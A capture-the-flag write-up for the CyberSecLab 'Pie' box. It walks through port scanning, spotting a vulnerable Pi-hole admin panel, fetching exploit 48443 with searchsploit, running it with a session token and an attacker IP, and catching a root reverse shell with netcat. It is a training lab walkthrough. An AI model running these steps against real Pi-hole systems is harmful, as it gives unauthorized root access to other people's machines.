> For the complete documentation index, see [llms.txt](https://psdon.gitbook.io/hackworld/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://psdon.gitbook.io/hackworld/writeup/cyberseclab/pie.md).
# Pie
## nmap
I prefer to use `rustscan` with additional `nmap` flags as it's faster, but you can use plain `nmap`
```
mkdir nmap
sudo rustscan -a 172.31.1.26 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan
```
We can see port 80 is open, let's quickly check if it's a web server.
## Pi hole
Looks like it's really a web server, and it is running **Pi hole**
Navigate to /admin, and you will see the version of Pi hole in the footer
## Exploitation
Search this Pi-hole version on `searchsploit`
```
searchsploit pi hole
```
Let's try to use the 6th result since it sounds more interesting than others.
First, let's mirror the exploit to our current working directory
```
searchsploit -m linux/webapps/48443.py
```
As per the author we need the following to execute the exploit.
Let's run the exploit
```
python 48443.py 9nm7ajvv8ncaqidomb5arjchov http://172.31.1.26/ 10.10.0.41 80
```
Right after the script was finished, set a reverse shell listener
```
nc -lnvnp 80
```
To trigger the shell, you have to navigate to `/admin/scripts/pi-hole/php/fun.php`
Then you should receive your root shell. :D
